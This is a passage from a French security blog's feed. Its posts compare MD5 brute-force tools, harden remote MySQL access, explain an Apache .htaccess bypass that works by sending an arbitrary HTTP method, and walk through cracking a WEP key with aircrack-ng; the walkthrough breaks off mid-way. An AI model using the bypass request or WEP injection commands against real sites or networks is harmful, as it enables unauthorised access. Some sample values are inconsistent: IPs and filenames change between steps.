Pour le second shot, je décide d&#8217;utiliser pleinement mon CPU. C&#8217;est à dire, avant que l&#8217;on utilise les GPU, ce qui se faisait de mieux en matière de bruteforce. J&#8217;ai un core DUO, je double sans surprise.<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">24 Millions h/s</span></p>
<p><img alt="MDCRACK23" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack23-2.jpg" width="450" height="235" /></p>
<p><img alt="MDCRACK2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack2-2.gif" width="450" height="111" /> <img alt="MDCRACK22" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack22-3.gif" width="90" height="120" /></p>
<p><strong><em>GPU MD5 CRACK</em></strong> (<a href="http://bvernoux.free.fr/md5/index.php" target="_blank">http://bvernoux.free.fr/md5/index.php</a>)<br />
Cette fois nous utilisons un bruteforcer sollicitant les GPUs. Malhreusement il dispose d&#8217;une GUI qui doit impacter ses perfs mais voyons tout de même la différence:<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">44 Millions h/s !<br /></span></p>
<p><img alt="GPUMD5" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/gpumd5.jpg" width="450" height="378" /></p>
<p><img alt="GPUMD52" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/gpumd52.gif" width="450" height="115" /> <img alt="GPU MD53" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/gpu-md53.gif" width="88" height="120" /></p>
<p><strong><em>Extreme GPU Bruteforcer</em></strong> (<a href="http://www.insidepro.com/eng/egb.shtml" target="_blank">http://www.insidepro.com/eng/egb.shtml</a>)<br />
Un autre GPU Bruteforcer,Â  cette fois en command-line, mais on remarque que lui non plus ne sollicte pas le CPU au maximum.<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">53 Millions h/s !<br /></span></p>
<p><img alt="EGB3" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/egb3.jpg" width="450" height="237" /></p>
<p><img alt="EGB1" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/egb1.gif" width="450" height="108" /> <img alt="EGB2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/egb2.gif" width="89" height="116" /></p>
<p><strong><em>BarsWF</em></strong> (<a href="http://3.14.by/en/md5" target="_blank">http://3.14.by/en/md5</a>)<em><br /></em>Là, on passe en mode uber-gore. On constate avec ce logiciel une réelle maximisation de l&#8217;utilisation CPU + GPU. La courbe d&#8217;utilisation CPU n&#8217;est plus sinusoidale ici. Je n&#8217;ai pas une grosse config pour le coup, reportez vous à la conclusion pour voir ce qu&#8217;il a vraiment dans le sac :-)<br />
<strong><em>Résultat obtenu:</em></strong> <strong><span style="COLOR: #ff0000">124 Millions h/s !<br /></span></strong></p>
<p><img alt="BarsWF1" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/barswf1.jpg" width="450" height="222" /></p>
<p><img alt="BarsW2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/barsw2-1.gif" width="450" height="111" /> <img alt="BARSW3" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/barsw3-1.gif" width="91" height="114" /></p>
<p><strong>Conclusion</strong></p>
<p>Vous devez mieux comprendre pourquoi l&#8217;image illustrant ce billet est un logo <a href="http://www.nvidia.com/object/cuda_home.html">Nvidia</a>. La rapidité de bruteforce via GPU n&#8217;est en rien comparable à ce que l&#8217;on pouvait exploiter il y a encore quelques années. J&#8217;ai demandé à un collègue qui a un double CORE, et une CG ATI (ATI Radeon HD 4870) de réaliser le test pour moi:</p>
<p>*Â¦ Key: kshnmhwi Avg.Total: 1066.40 MHash/sec Â¦</p>
<p>Â¦ Hash:87a2f7772d361d70d4b43cb5141a50e1 Â¦</p>
<p>Â¦ Progress: 28.92 % ETC 0 days 0 hours 2 min 19 sec Â¦</p>
<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>
<p>&#8211; Key is: johnjean&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<em><strong>Résultat obtenu avec BarWF</strong>:</em> <span style="COLOR: #ff0000"><strong>1 066 Millions h/s !<br /></strong><span style="COLOR: #000000">Deux minutes pour mettre à mal la chaine: johnjean</span><strong><br /></strong></span></p>
<p>Je n&#8217;ai évoqué ici que la maximisation de tentative de hash/s, pas le temps global que met une chaine à être forcée. Lors de mon prochain billet je tenterai d&#8217;établir un comparatif avec les méthodes d&#8217;attaque par rainbow table. A noter également que je n&#8217;ai pas parlé de la suite <a href="http://www.elcomsoft.com/edpr.html" target="_blank">Elcomsoft Distributed Password Recovery</a> qui permet de monter des grappes de travail. En gros l&#8217;application se divise en deux parties une cliente et une serveur. On peut donc créer un serveur et relier 20 machines dessus. Avec des machines comme celle de mon collègue (<strong>1 066 Millions h/s)</strong> bruteforcer une base de donnée client pour en extraire les pass et plus ne doit pas prendre bien longtemps. N&#8217;hésitez donc pas à modifier vos méthodes de stockage même si les énorme montage sont généralement reservé aux agences à trois lettres :-) Il va sans dire que les signatures de fichier en MD5 sont tout aussi faillible que ce que vous encryptez.</p>
<p>PS: Voici plus d&#8217;un mois que j&#8217;avais posté, mais je viens de trouver un logiciel me permettant de blogger depuis le train, cela devrait reprendre. (<a href="http://www.blogdesk.org/en/index.htm" target="_blank">BlogDesk</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Comment rendre Mysql accessible depuis l&#8217;extérieur ? &#8230;</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-rendre-mysql-accessible-depuis-lexterieur-102</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-rendre-mysql-accessible-depuis-lexterieur-102#comments</comments>
		<pubDate>Fri, 26 Dec 2008 21:09:38 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[accès]]></category>
		<category><![CDATA[connexion]]></category>
		<category><![CDATA[distant]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=102</guid>
		<description><![CDATA[&#8230; Et si possible avec une gestion des accès utilisateurs cohérente. Voici une question qui revient souvent et pour laquelle certains webmasters sont un peu perdus. En effet, pour des raisons de sécurité évidente, Mysql n&#8217;autorise par défaut pas les connexions distantes. Ce billet s&#8217;adresse donc aux personnes ayant plusieurs machines / serveurs à disposition [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/mysql_logo.jpg" alt="Logo Mysql" /> &#8230; Et si possible avec une gestion des accès utilisateurs cohérente. Voici une question qui revient souvent et pour laquelle certains webmasters sont un peu perdus. En effet, pour des raisons de sécurité évidente, Mysql n&#8217;autorise par défaut pas les connexions distantes. Ce billet s&#8217;adresse donc aux personnes ayant plusieurs machines / serveurs à disposition et souhaitant rendre Mysql contactable à distance sur le 3306. Le but est donc d&#8217;avoir un serveur Mysql central, sur lequel plusieurs autres serveurs pourront venir chercher les informations dont ils ont besoin. Plusieurs raisons: méthode de sécurisation (!), authentification unifiée, besoin d&#8217;un serveur robuste pour un site, etc&#8230;</p>
<p><span id="more-102"></span></p>
<p>Bien, donc imaginons que vous avez développé www.example.com. Vous avez aussi historiquement une dizaine de sites, example1.com, example2.com, example3.com et ainsi de suite. Vous souhaitez pouvoir gérer les accès aux répertoires /admin/ par le biais d&#8217;un login unifié par Mysql; Comprendre: déployer le même htaccess partout qui permet de checker dans une db si tel utilisateur a accès à tel site ou pas.  Au delà du fait que vous allez avoir besoin de <a href="http://modauthmysql.sourceforge.net/" target="_blank">mod_auth_mysql</a>, il vous faut un serveur Mysql dans lequel l&#8217;ensemble des htaccess iront taper pour savoir si les utilisateurs peuvent se loger ou non. Autre exemple, example.com prend de l&#8217;ampleur, les requêtes SQL sont déjà optimisées mais elles mettent cependant le serveur sur les rotules tellement il y a de visiteurs sur le site, même chose, besoin d&#8217;un serveur Mysql à distance (je n&#8217;entend pas troller ici sur l&#8217;affinage des requêtes, l&#8217;optimisation hardware, etc ;) ).</p>
<p>Donc, comment permettons nous à Mysql d&#8217;écouter à distance ? C&#8217;est en réalité assez simple, mais comme ce n&#8217;est pas si évident que cela de retrouver sur google comment faire dans une seul document, je fais ce billet qui tente de condenser l&#8217;information.</p>
<p>La première chose à faire est d&#8217;aller modifier votre /etc/mysql/my.cnf afin de commenter la ligne suivante:</p>
<pre class="code">bind-address           = 127.0.0.1 devient donc
#bind-address           = 127.0.0.1</pre>
<p>Vous devez ensuite, comme d&#8217;habitude, redémarrer mysql:</p>
<pre class="code">[john@coincoin:~]# /etc/init.d/mysql restart
Stopping MySQL database server: mysqld.
Starting MySQL database server: mysqld.</pre>
<p>Vous venez d&#8217;enlever l&#8217;écoute locale du serveur Mysql. Désormais, vous pouvez créer vos utilisateurs. Et c&#8217;est ici qu&#8217;il faut être vigilant, si je reprend l&#8217;exemple d&#8217;avant (example2.com, example3.com, etc), potentiellement nous avons besoin qu&#8217;un utilisateur Mysql soit crée afin d&#8217;accéder aux informations. Mais ce n&#8217;est pas parce que 10 serveurs peuvent avoir besoin de contacter notre serveur Mysql que cet utilisateur doit avoir les droits %. Il convient de gérer précisement les autorisations de chaque utilisateur. Même si la solution de facilité souvent employée par les webmasters est de mettre en droit &laquo;&nbsp;%&nbsp;&raquo; (le % est une wildcard qui permet à l&#8217;utilisateur Mysql de se connecter depuis n&#8217;importe où), en cas de faille de type Injection Mysql, c&#8217;est la porte ouverte à n&#8217;importe qui pour collecter les informations (alors que de devoir faire relai sur le serveur qui possède la faille est beaucoup plus rébarbatif).</p>
<p>Donc pour résumer, ce qu&#8217;il ne faut pas faire:</p>
<pre class="code">CREATE USER 'example'@'%' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'%' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'%';</pre>
<p>Là, vous créez un utilisateur qui peut se connecter de n&#8217;importe ou. Par contre si example.com est hébergé sur 80.80.80.80, voici ce qu&#8217;il convient mieux de faire:</p>
<pre class="code">CREATE USER 'example'@'88.80.80.80' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'88.80.80.80' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR
0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'88.80.80.80;</pre>
<p>Dans le cas où vous hébergez un site sur le serveur Mysql directement, et que vous n&#8217;avez pas besoin de contacter à distance pour l&#8217;utilisateur Mysql, vous pouvez mettre directement localhost, autant être logique. Et si d&#8217;aventure, vous n&#8217;avez pas envie de granter les accès immédiatement:</p>
<pre class="code">CREATE USER 'example'@'localhost' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'localhost' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;</pre>
<p>Malgré tout cela, Ca ne marche pas ?!<br />
Il n&#8217;est pas impossible que <a href="http://www.netfilter.org/" target="_blank">IPTABLES </a>rejette les connexions entrantes, vous devez donc autoriser les serveurs distants à vous contacter, là encore c&#8217;est comme le % ou l&#8217;IP directement, il y a deux écoles. Soit c&#8217;est Open-bar:</p>
<pre class="code">/sbin/iptables -A INPUT -i eth0 -p tcp --destination-port 3306 -j ACCEPT</pre>
<p>Soit on met l&#8217;adresse IP du serveur qui peut venir taper sur le 3306:</p>
<pre class="code">/sbin/iptables -A INPUT -i eth0 -s 80.80.80.80 -p tcp --destination-port 3306 -j ACCEPT</pre>
<p>N.B:  Rendre vos bases de données accessibles depuis l&#8217;extérieur n&#8217;est pas synonyme de faiblesse de sécurité si les choses sont bien faites. Pour résumer:</p>
<ul>
<li>On commente bind-adress dans /etc/mysql/my.cnf</li>
<li>On crée les utilisateurs avec les droits NECESSAIRES, pas plus. Autrement dit, on autorise depuis l&#8217;adresse IP d&#8217;où ils contactent et jamais depuis partout (%). Si l&#8217;utilisateur est local, on ne l&#8217;authentifie que depuis localhost.</li>
<li>On crée des règles iptables pour autoriser les serveurs qui ont le droit de rentrer, pas pour tout le monde (-s 80.80.80.80).</li>
</ul>
<p>Bonnes bidouilles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-rendre-mysql-accessible-depuis-lexterieur-102/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Faille dans la création d&#8217;un .htaccess</title>
		<link>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89#comments</comments>
		<pubDate>Mon, 22 Dec 2008 22:45:50 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[403]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htpasswd]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=89</guid>
		<description><![CDATA[Toujours lors de nos audits de sécurité, une faille qui revient très régulièrement est la mauvaise configuration d&#8217;une protection par le biais d&#8217;un htaccess. La plupart des administrateurs ou webmasters fouinent sur le net afin de créer leur .htaccess, et de fait, se retrouvent avec des choses dont ils n&#8217;ont pas réellement besoin, ou en [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/apache_logo_medium.png" alt="Faille htaccess" width="165" height="114" /> <a title="Cracker clé Wep" href="http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37" target="_blank">Toujours lors de nos audits de sécurité</a>, une faille qui revient très régulièrement est la mauvaise configuration d&#8217;une protection par le biais d&#8217;un <a title="Gestion htaccess dans apache" href="http://httpd.apache.org/docs/1.3/howto/htaccess.html" target="_blank">htaccess</a>. La plupart des administrateurs ou webmasters fouinent sur le net afin de créer leur .htaccess, et de fait, se retrouvent avec des choses dont ils n&#8217;ont pas réellement besoin, ou en tout cas qu&#8217;ils n&#8217;ont pas tout à fait compris. Bon, je pense que mon teasing a fait son petit effet, y&#8217;a plus qu&#8217;à cliquer sur le lien suivant pour lire la suite.</p>
<p><span id="more-89"></span></p>
<p>Bon j&#8217;avoue, j&#8217;ai un peu triché, derrière ce titre racoleur se trouve une erreur de configuration assez grossière, mais que l&#8217;on retrouve, sans exagérer dans 70% des cas. Le premier responsable de cette faille est, il me semble, le site <a href="http://www.commentcamarche.net/" target="_blank">http://www.commentcamarche.net/</a>. Pourquoi ca ? Simplement parce qu&#8217;ils sortent premier sur la recherche &laquo;&nbsp;<a href="http://www.google.fr/search?hl=fr&amp;q=creation+htaccess&amp;btnG=Recherche+Google&amp;meta=&amp;aq=f&amp;oq=" target="_blank">Création htaccess</a>&laquo;&nbsp;.</p>
<p>Et comment nous proposent-ils de créer un htaccess ?<br />
Je cite:</p>
<pre class="code">ErrorDocument 403 http://www.commentcamarche.net/accesrefuse.php3
AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /dev/null
AuthName "Accès sécurisé au site CCM"
AuthType Basic
&lt;LIMIT GET POST&gt;
Require valid-user
&lt;/LIMIT&gt;</pre>
<p>Donc si l&#8217;on fait un tour rapide:</p>
<ul>
<li>La première ligne donne la page où l&#8217;on doit rediriger lors d&#8217;une 403 (Erreur d&#8217;auth ou deny from all par exemple)</li>
<li>La seconde donne le chemin du fichier contenant les mots de passe</li>
<li>La troisième le chemin du fichier de groupe</li>
<li>La quatrième, c&#8217;est le wording du prompt login / pass</li>
<li>La cinquième donne le mode d&#8217;authentification, dans ce cas auth basic (mod_auth_basic)</li>
<li>Enfin, les trois dernières expliquent que pour exécuter les requêtes GET et POST, il faut être un utilisateur authentifié.</li>
</ul>
<p>Tout cela est assez schématisé, mais l&#8217;idée est là. Donc si je tente d&#8217;accéder à la page protégée, j&#8217;effectuerais une requête de type:</p>
<pre class="code">GET http://www.example.com/admin/index.php HTTP/1.0</pre>
<p>Et je vais donc atterir sur une 401 Authorization Required. Où se situe l&#8217;astuce ? Apache ne gère pas correctement les requêtes mal formée. Je m&#8217;explique, si à la place de faire un GET ou un POST, je fais un:</p>
<pre class="code">JOHN http://www.example.com/admin/index.php HTTP/1.0</pre>
<p>Apache me renverra le contenu de la page présente derrière /admin/index.php (200). Lorsque je dis que 70% des sites sont faillibles, c&#8217;est tellement il est facile pour un webmaster paresseux de réaliser cette configuration. htaccess permet de modifier localement la configuration d&#8217;apache, du coup chaque webmaster peut créer sa propre faille en suivant les conseils d&#8217;un site généraliste comme commentcamarche. Deux coupables: le webmaster car il dépose une config qu&#8217;il ne comprend pas et Apache car il interprète les requêtes mal formée comme étant des GET. Grosso-modo, il est possible pour le premier venu d&#8217;aller se balader sur les backoffices en forgeant simplement sa requête à base de JOHN.</p>
<p>Comment patchons nous cette faille ?<br />
Tout simplement en ôtant de notre htaccess la limit GET, POST. En effet, aucun intérêt de limiter à GET et POST le require valid-user si ce dernier est effectivement nécessaire. D&#8217;ailleurs dans les <a title="Configuration Apache htaccess" href="http://httpd.apache.org/docs/2.2/mod/core.html#limit" target="_blank">préconisations globales d&#8217;apache</a>, ils recommandent de ne pas utiliser les limit lors de la création de htaccess. Je cite:</p>
<blockquote><p>Access controls are normally effective for     <strong>all</strong> access methods, and this is the usual     desired behavior. <strong>In the general case, access control     directives should not be placed within a     <code class="directive">&lt;Limit&gt;</code> section.</strong></p>
<p>The purpose of the <code class="directive">&lt;Limit&gt;</code> directive is to restrict the effect of the access controls to the     nominated HTTP methods. For all other methods, the access     restrictions that are enclosed in the <code class="directive">&lt;Limit&gt;</code> bracket <strong>will have no     effect</strong>. The following example applies the access control     only to the methods <code>POST</code>, <code>PUT</code>, and     <code>DELETE</code>, leaving all other methods unprotected.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Cracker une clé WEP avec une carte Intel Corporation PRO/Wireless 3945ABG</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37#comments</comments>
		<pubDate>Sun, 21 Dec 2008 19:18:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[aireplay]]></category>
		<category><![CDATA[airmon]]></category>
		<category><![CDATA[airodump]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[clé]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[Informatique]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=37</guid>
		<description><![CDATA[Pour les audits de sécurité informatique, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est BackTrack. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/wifi_icon.jpg" alt="Logo Wifi" width="165" height="114" /> Pour les <a title="audit securite" href="http://www.wargan.com" target="_blank">audits de sécurité informatique</a>, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack</a>. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai googlé pour voir si un endroit recensait les méthodes d&#8217;attaques avec cette carte, et je n&#8217;ai pas trouvé de résultat pertinent. J&#8217;ai donc entrepris de rédiger un HowTo afin que cela puisse servir aux personnes moins expertes, en tout cas moins patientes et qui entreprendraient de tester la sécurité de leur réseau.</p>
<p><span id="more-37"></span>Il y a deux méthodes pour analyser les données: soit l&#8217;on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d&#8217;injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack 3</a> optimise assez largement les algos pour cracker, il n&#8217;est plus nécessaire d&#8217;avoir beaucoup d&#8217;IVs pour décrypter une clé WEP.</p>
<p>Après avoir booté sur le LiveCD, voici comment cela se présente:</p>
<p>// Tout d&#8217;abord on charge le driver pour la fameuse carte<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # modprobe -r iwl3945<br />
bt ~ # modprobe ipwraw</span></span></p>
<p><span style="font-size: small;">/</span>/ On la passe en mode monitor<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0</span></span></p>
<p>// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng wifi0</span></span></p>
<p>// Le but est de prendre celle qui a le plus de beacons, et lorsque l&#8217;on choisit celle-ci, on repère bien le channel, le BSSID et l&#8217;ESSID. Dans mon cas, supposons:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Channel: 11<br />
BSSID: 00:01:02:03:04:05<br />
ESSID: RESEAU-CRYPT</span></span></p>
<p>A partir d&#8217;ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d&#8217;emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.</p>
<p>// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d&#8217;abord, je vais m&#8217;auth sur le système distant (-e représente le SSID de la cible, -h représente l&#8217;adresse Mac source, généralement, nous):<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0</span></span></p>
<p>Généralement cette commande doit vous retourner:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">b<span style="font-size: x-small;">t ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:56:39  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.</span></span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">11:56:39  Sending Authentication Request (Open System) [ACK]<br />
11:56:39  Authentication successful<br />
11:56:39  Sending Association Request [ACK]<br />
11:56:39  Association successful (AID: 1)</span></span></p>
<p>Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:55:23  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:55:23  wifi0 is on channel 12, but the AP uses channel 11</span></span></p>
<p>Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0 11<br />
wifi0           Centrino a/b/g  ipwraw-ng (monitor mode enabled)</span></span></p>
<p>//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39  Association successful (AID: 1).  Nous allons désormais générer une keystream valide afin de forger notre packet d&#8217;injection:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0<br />
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)<br />
11:57:55  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:57:55  Waiting for a data packet&#8230;<br />
Read 2791 packets&#8230;</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Size: 371, FromDS: 0, ToDS: 1 (WEP)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">BSSID  =  00:01:02:03:04:05<br />
Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
Source MAC  =  BLABLA</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">0&#215;0000:  0841 3a01 0016 3810 7484 0013 ce8a 8259  .A:&#8230;8.t&#8230;&#8230;Y<br />
0&#215;0010:  ffff ffff ffff 1000 0100 0000 2f23 a566  &#8230;&#8230;&#8230;&#8230;/#.f<br />
0&#215;0020:  8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398  &#8230;3,&#8230;.e.y~.s.<br />
0&#215;0030:  42fc a81c e682 179c ac10 f1a3 d83e 3770  B&#8230;&#8230;&#8230;&#8230;&gt;7p<br />
0&#215;0040:  a3ff cb34 62e0 e232 3e17 8340 544b ee1d  &#8230;4b..2&gt;..@TK..<br />
0&#215;0050:  f06c a543 3b51 05d6 bdb0 a10a a159 4fbd  .l.C;Q&#8230;&#8230;.YO.<br />
0&#215;0060:  2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6  $&#8230;X&#8230;.r&#8230;.).<br />
0&#215;0070:  6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9  b4..K&#8230;&#8230;&amp;V&#8230;<br />
0&#215;0080:  5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1  ].&#8217;.E:.6&#8230;|.?..<br />
0&#215;0090:  2813 b8e4 a24c 3bce dc98 2be2 6a79 c313  (&#8230;.L;&#8230;+.jy..<br />
0x00a0:  f530 7596 4430 958d 2406 de88 7664 481f  .0u.D0..$&#8230;vdH.<br />
0x00b0:  7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949  |&#8230;&#8230;o&#8230;&#8230;.I<br />
0x00c0:  b12e 6507 cab2 6619 d6d8 9a1c a018 720c  ..e&#8230;f&#8230;&#8230;.r.<br />
0x00d0:  e004 2c4f 533b 1326 0c57 0006 2950 e468  ..,OS;.&amp;.W..)P.h<br />
&#8212; CUT &#8212;</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Use this packet ? y</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Saving chosen packet in replay_src-0726-115911.cap<br />
11:59:20  Data packet found!<br />
11:59:20  Sending fragmented packet<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 384 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 1500 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
Saving keystream in fragment-0726-115920.xor<br />
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream</span></span></p>
<p>//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d&#8217;injection. Packetforge-ng est là pour ca.<br />
//arp définit le type d&#8217;attaque<br />
//-y passe le fragment à utiliser généré par airplay<br />
//-a adresse MAC de la cible (BSSID)<br />
//-h adresse MAC de l&#8217;attaquant<br />
//-k notre adresse ip suppossée<br />
//-l adresse ip supposée du routeur<br />
//-w permet d&#8217;écrire le packet d&#8217;injection final<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">packetforge-ng  &#8211;arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap<br />
Wrote packet  to: alice.cap</span></span></p>
